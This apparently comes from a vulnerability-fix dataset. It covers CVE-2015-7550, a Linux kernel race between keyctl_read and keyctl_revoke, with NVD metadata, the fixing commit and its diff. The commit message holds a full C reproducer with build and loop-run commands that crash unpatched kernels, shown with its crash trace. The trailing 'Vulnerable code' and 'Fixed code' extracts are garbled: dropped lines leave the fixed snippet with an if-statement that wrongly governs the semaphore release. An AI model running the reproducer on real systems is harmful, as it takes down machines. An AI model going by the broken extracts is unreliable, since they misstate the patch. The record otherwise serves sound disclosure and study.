CVE-2015-7550: Other (NVD-CWE-Other)
value: The keyctl_read_key function in security/keys/keyctl.c in the Linux kernel before 4.3.4 does not properly use a semaphore, which allows local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact via a crafted application that leverages a race condition between keyctl_revoke and keyctl_read calls.
CWE description: NVD is only using a subset of CWE for mapping instead of the entire CWE, and the weakness type is not covered by that subset.
CVSS v3 base score: 5.5
Published: 2016-02-08T03:59Z
Repository: https://github.com/torvalds/linux
Language: C
Files changed: security/keys/keyctl.c
Commit date: 2015-12-19 12:34:43 +1100
Commit message: KEYS: Fix race between read and revoke

This fixes CVE-2015-7550.

There's a race between keyctl_read() and keyctl_revoke().  If the revoke
happens between keyctl_read() checking the validity of a key and the key's
semaphore being taken, then the key type read method will see a revoked key.

This causes a problem for the user-defined key type because it assumes in
its read method that there will always be a payload in a non-revoked key
and doesn't check for a NULL pointer.

Fix this by making keyctl_read() check the validity of a key after taking
semaphore instead of before.

I think the bug was introduced with the original keyrings code.

This was discovered by a multithreaded test program generated by syzkaller
(http://github.com/google/syzkaller).  Here's a cleaned up version:

	#include <sys/types.h>
	#include <keyutils.h>
	#include <pthread.h>
	void *thr0(void *arg)
	{
		key_serial_t key = (unsigned long)arg;
		keyctl_revoke(key);
		return 0;
	}
	void *thr1(void *arg)
	{
		key_serial_t key = (unsigned long)arg;
		char buffer[16];
		keyctl_read(key, buffer, 16);
		return 0;
	}
	int main()
	{
		key_serial_t key = add_key("user", "%", "foo", 3, KEY_SPEC_USER_KEYRING);
		pthread_t th[5];
		pthread_create(&th[0], 0, thr0, (void *)(unsigned long)key);
		pthread_create(&th[1], 0, thr1, (void *)(unsigned long)key);
		pthread_create(&th[2], 0, thr0, (void *)(unsigned long)key);
		pthread_create(&th[3], 0, thr1, (void *)(unsigned long)key);
		pthread_join(th[0], 0);
		pthread_join(th[1], 0);
		pthread_join(th[2], 0);
		pthread_join(th[3], 0);
		return 0;
	}

Build as:

	cc -o keyctl-race keyctl-race.c -lkeyutils -lpthread

Run as:

	while keyctl-race; do :; done

as it may need several iterations to crash the kernel.  The crash can be
summarised as:

	BUG: unable to handle kernel NULL pointer dereference at 0000000000000010
	IP: [<ffffffff81279b08>] user_read+0x56/0xa3
	...
	Call Trace:
	 [<ffffffff81276aa9>] keyctl_read_key+0xb6/0xd7
	 [<ffffffff81277815>] SyS_keyctl+0x83/0xe0
	 [<ffffffff815dbb97>] entry_SYSCALL_64_fastpath+0x12/0x6f

Reported-by: Dmitry Vyukov <dvyukov@google.com>
Signed-off-by: David Howells <dhowells@redhat.com>
Tested-by: Dmitry Vyukov <dvyukov@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: James Morris <james.l.morris@oracle.com>

Diff: diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c
index fb111eafcb893e..1c3872aeed14ac 100644
--- a/security/keys/keyctl.c
+++ b/security/keys/keyctl.c
@@ -749,20 +749,20 @@ long keyctl_read_key(key_serial_t keyid, char __user *buffer, size_t buflen)
 		goto error2;
 	}
 
 	/* the key is probably readable - now try to read it */
 can_read_key:
-	ret = key_validate(key);
-	if (ret == 0) {
-		ret = -EOPNOTSUPP;
-		if (key->type->read) {
-			/* read the data with the semaphore held (since we
-			 * might sleep) */
-			down_read(&key->sem);
+	ret = -EOPNOTSUPP;
+	if (key->type->read) {
+		/* Read the data with the semaphore held (since we might sleep)
+		 * to protect against the key being updated or revoked.
+		 */
+		down_read(&key->sem);
+		ret = key_validate(key);
+		if (ret == 0)
 			ret = key->type->read(key, buffer, buflen);
-			up_read(&key->sem);
-		}
+		up_read(&key->sem);
 	}
 
 error2:
 	key_put(key);
 error:

Vulnerable code: 	ret = key_validate(key);
	if (ret == 0) {
		ret = -EOPNOTSUPP;
		if (key->type->read) {
			/* read the data with the semaphore held (since we
			 * might sleep) */
			down_read(&key->sem);
			up_read(&key->sem);
		}
Fixed code: 	ret = -EOPNOTSUPP;
	if (key->type->read) {
		/* Read the data with the semaphore held (since we might sleep)
		 * to protect against the key being updated or revoked.
		 */
		down_read(&key->sem);
		ret = key_validate(key);
		if (ret == 0)
		up_read(&key->sem);